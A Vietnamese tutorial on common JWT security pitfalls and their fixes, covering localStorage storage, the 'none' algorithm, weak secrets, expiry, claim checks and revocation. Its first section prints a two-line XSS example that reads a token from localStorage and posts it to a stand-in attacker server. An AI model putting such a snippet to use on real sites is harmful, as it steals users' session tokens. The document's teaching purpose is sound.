Giới Thiệu
JSON Web Tokens (JWT) đang trở thành một phần không thể thiếu trong việc phát triển ứng dụng web hiện đại. Chúng cực kỳ phổ biến trong việc xử lý xác thực người dùng vì tính đơn giản và khả năng không cần lưu trữ trạng thái trên máy chủ. Tuy nhiên, sự đơn giản này cũng có thể dẫn đến những sai lầm nghiêm trọng nếu không được sử dụng cẩn thận.
Trong bài viết này, chúng ta sẽ khám phá những cạm bẫy phổ biến liên quan đến JWT và cách tránh chúng để bảo vệ ứng dụng của bạn khỏi những lỗ hổng bảo mật.
Tổng Quan Về JWT
JWT bao gồm ba phần chính: Header, Payload, và Signature. Cấu trúc của một JWT trông như thế này:
<Header>.<Payload>.<Signature>
- Header: Thông tin về loại token và thuật toán được sử dụng (ví dụ:
"alg": "HS256"). - Payload: Chứa thông tin thực tế như
userIdvà quyền hạn (roles). Phần này không được bảo mật, vì vậy không nên chứa thông tin nhạy cảm như mật khẩu. - Signature: Khẳng định tính hợp lệ của token. Tuy nhiên, tính bảo mật thực sự của JWT phụ thuộc vào cách bạn tạo, lưu trữ và kiểm tra nó.
Cạm Bẫy #1: Lưu Trữ JWT Trong localStorage
Lỗi phổ biến nhất mà nhiều lập trình viên mắc phải là lưu trữ JWT trong localStorage. Mặc dù phương pháp này đơn giản và dễ thực hiện, nhưng nó lại dễ bị tấn công XSS.
Ví Dụ
Kẻ tấn công có thể sử dụng mã JavaScript để lấy token từ localStorage:
javascript
const token = localStorage.getItem('token');
fetch('https://attackers-evil-server.com/steal', { method: 'POST', body: token });
Giải Pháp
Sử dụng cookie HttpOnly thay thế. Cookie này không thể được truy cập thông qua JavaScript, giúp giảm thiểu khả năng bị tấn công:
javascript
res.cookie('token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
Cạm Bẫy #2: Thuật Toán "Tin Tôi Đi"
Một số thư viện JWT cũ có lỗi cho phép tạo token với thuật toán "alg": "none". Điều này khiến máy chủ chấp nhận token mà không cần kiểm tra chữ ký.
Giải Pháp
Luôn chỉ định rõ thuật toán mà bạn cho phép:
javascript
jwt.verify(token, secret, { algorithms: ['HS256', 'RS256'] });
Cạm Bẫy #3: Sử Dụng "password123" Làm Mật Khẩu
Mật khẩu yếu sẽ khiến ứng dụng của bạn dễ dàng bị tấn công. Kẻ xấu có thể đoán được mật khẩu và tạo token hợp lệ cho bất kỳ người dùng nào.
Giải Pháp
Sử dụng mật khẩu mạnh và lưu trữ nó an toàn, ví dụ: trong file cấu hình hoặc biến môi trường.
Cạm Bẫy #4: Token Vĩnh Viễn
Nếu không đặt thời gian hết hạn cho token, bạn có thể tạo ra token vĩnh viễn, điều này cực kỳ nguy hiểm.
Giải Pháp
Luôn đặt thời gian hết hạn cho token:
javascript
const token = jwt.sign(payload, secret, { expiresIn: '1h' });
Cạm Bẫy #5: Bỏ Qua Các Thông Tin Quan Trọng
Khi kiểm tra token, nhiều lập trình viên thường bỏ qua thông tin trong Payload, như iss và aud, điều này có thể dẫn đến các lỗ hổng bảo mật.
Giải Pháp
Kiểm tra kỹ lưỡng các thông tin này khi xác thực token:
javascript
jwt.verify(token, secret, {
audience: 'my-user-api',
issuer: 'https://auth.mycompany.com'
});
Cạm Bẫy #6: Vấn Đề "Tôi Không Thể Lấy Lại"
Nếu token bị đánh cắp trước khi hết hạn, bạn sẽ gặp khó khăn trong việc ngăn chặn.
Giải Pháp
- Giữ danh sách cấm: Ghi lại các ID token bị đánh cắp.
- Sử dụng Refresh Tokens: Nếu token truy cập bị đánh cắp, chỉ cần thu hồi refresh token của người dùng.
- Thay đổi khóa bí mật: Nếu nghi ngờ vi phạm bảo mật nghiêm trọng, thay đổi khóa bí mật có thể làm vô hiệu hóa tất cả các token.
Thực Hành Tốt Nhất
- Luôn dùng
HttpOnlycookies. - Kiểm tra chữ ký và các thông tin trong payload.
- Sử dụng mật khẩu mạnh và bảo mật.
- Đặt thời gian hết hạn cho token.
Lưu Ý Chung
- Tránh lưu trữ token nhạy cảm trong
localStorage. - Không sử dụng thuật toán không an toàn.
- Giữ cho mã nguồn sạch sẽ và an toàn.
Kết Luận
JWT là công cụ tuyệt vời nhưng cần được sử dụng một cách cẩn trọng. Nếu bạn lưu trữ an toàn, kiểm tra kỹ lưỡng và có kế hoạch ứng phó khi có sự cố, bạn sẽ có khả năng xây dựng ứng dụng an toàn hơn.
Hãy bắt đầu áp dụng những thực hành tốt nhất này ngay hôm nay để bảo vệ ứng dụng của bạn!